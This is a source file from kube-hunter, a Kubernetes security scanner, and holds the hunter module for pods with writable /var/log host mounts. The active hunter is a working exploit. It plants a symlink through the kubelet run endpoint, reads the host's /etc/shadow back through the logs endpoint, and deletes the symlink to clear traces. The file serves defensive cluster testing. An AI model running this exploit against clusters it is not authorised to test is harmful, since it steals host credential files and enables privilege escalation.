Files
kube-hunter/kube_hunter/modules/hunting/mounts.py

159 lines
5.7 KiB
Python

import logging
import re
import uuid
from kube_hunter.conf import get_config
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Event, Vulnerability
from kube_hunter.core.types import (
ActiveHunter,
Hunter,
KubernetesCluster,
PrivilegeEscalation,
)
from kube_hunter.modules.hunting.kubelet import (
ExposedPodsHandler,
ExposedRunHandler,
KubeletHandlers,
)
logger = logging.getLogger(__name__)
class WriteMountToVarLog(Vulnerability, Event):
"""A pod can create symlinks in the /var/log directory on the host, which can lead to a root directory traveral"""
def __init__(self, pods):
Vulnerability.__init__(
self,
KubernetesCluster,
"Pod With Mount To /var/log",
category=PrivilegeEscalation,
vid="KHV047",
)
self.pods = pods
self.evidence = "pods: {}".format(", ".join(pod["metadata"]["name"] for pod in self.pods))
class DirectoryTraversalWithKubelet(Vulnerability, Event):
"""An attacker can run commands on pods with mount to /var/log,
and traverse read all files on the host filesystem"""
def __init__(self, output):
Vulnerability.__init__(
self,
KubernetesCluster,
"Root Traversal Read On The Kubelet",
category=PrivilegeEscalation,
)
self.output = output
self.evidence = f"output: {self.output}"
@handler.subscribe(ExposedPodsHandler)
class VarLogMountHunter(Hunter):
"""Mount Hunter - /var/log
Hunt pods that have write access to host's /var/log. in such case,
the pod can traverse read files on the host machine
"""
def __init__(self, event):
self.event = event
def has_write_mount_to(self, pod_data, path):
"""Returns volume for correlated writable mount"""
for volume in pod_data["spec"]["volumes"]:
if "hostPath" in volume:
if "Directory" in volume["hostPath"]["type"]:
if volume["hostPath"]["path"].startswith(path):
return volume
def execute(self):
pe_pods = []
for pod in self.event.pods:
if self.has_write_mount_to(pod, path="/var/log"):
pe_pods.append(pod)
if pe_pods:
self.publish_event(WriteMountToVarLog(pods=pe_pods))
@handler.subscribe(ExposedRunHandler)
class ProveVarLogMount(ActiveHunter):
"""Prove /var/log Mount Hunter
Tries to read /etc/shadow on the host by running commands inside a pod with host mount to /var/log
"""
def __init__(self, event):
self.event = event
self.base_path = f"https://{self.event.host}:{self.event.port}"
def run(self, command, container):
run_url = KubeletHandlers.RUN.value.format(
podNamespace=container["namespace"],
podID=container["pod"],
containerName=container["name"],
cmd=command,
)
return self.event.session.post(f"{self.base_path}/{run_url}", verify=False).text
# TODO: replace with multiple subscription to WriteMountToVarLog as well
def get_varlog_mounters(self):
config = get_config()
logger.debug("accessing /pods manually on ProveVarLogMount")
pods = self.event.session.get(
f"{self.base_path}/" + KubeletHandlers.PODS.value,
verify=False,
timeout=config.network_timeout,
).json()["items"]
for pod in pods:
volume = VarLogMountHunter(ExposedPodsHandler(pods=pods)).has_write_mount_to(pod, "/var/log")
if volume:
yield pod, volume
def mount_path_from_mountname(self, pod, mount_name):
"""returns container name, and container mount path correlated to mount_name"""
for container in pod["spec"]["containers"]:
for volume_mount in container["volumeMounts"]:
if volume_mount["name"] == mount_name:
logger.debug(f"yielding {container}")
yield container, volume_mount["mountPath"]
def traverse_read(self, host_file, container, mount_path, host_path):
"""Returns content of file on the host, and cleans trails"""
config = get_config()
symlink_name = str(uuid.uuid4())
# creating symlink to file
self.run(f"ln -s {host_file} {mount_path}/{symlink_name}", container)
# following symlink with kubelet
path_in_logs_endpoint = KubeletHandlers.LOGS.value.format(
path=re.sub(r"^/var/log", "", host_path) + symlink_name
)
content = self.event.session.get(
f"{self.base_path}/{path_in_logs_endpoint}",
verify=False,
timeout=config.network_timeout,
).text
# removing symlink
self.run(f"rm {mount_path}/{symlink_name}", container=container)
return content
def execute(self):
for pod, volume in self.get_varlog_mounters():
for container, mount_path in self.mount_path_from_mountname(pod, volume["name"]):
logger.debug("Correlated container to mount_name")
cont = {
"name": container["name"],
"pod": pod["metadata"]["name"],
"namespace": pod["metadata"]["namespace"],
}
try:
output = self.traverse_read(
"/etc/shadow",
container=cont,
mount_path=mount_path,
host_path=volume["hostPath"]["path"],
)
self.publish_event(DirectoryTraversalWithKubelet(output=output))
except Exception:
logger.debug("Could not exploit /var/log", exc_info=True)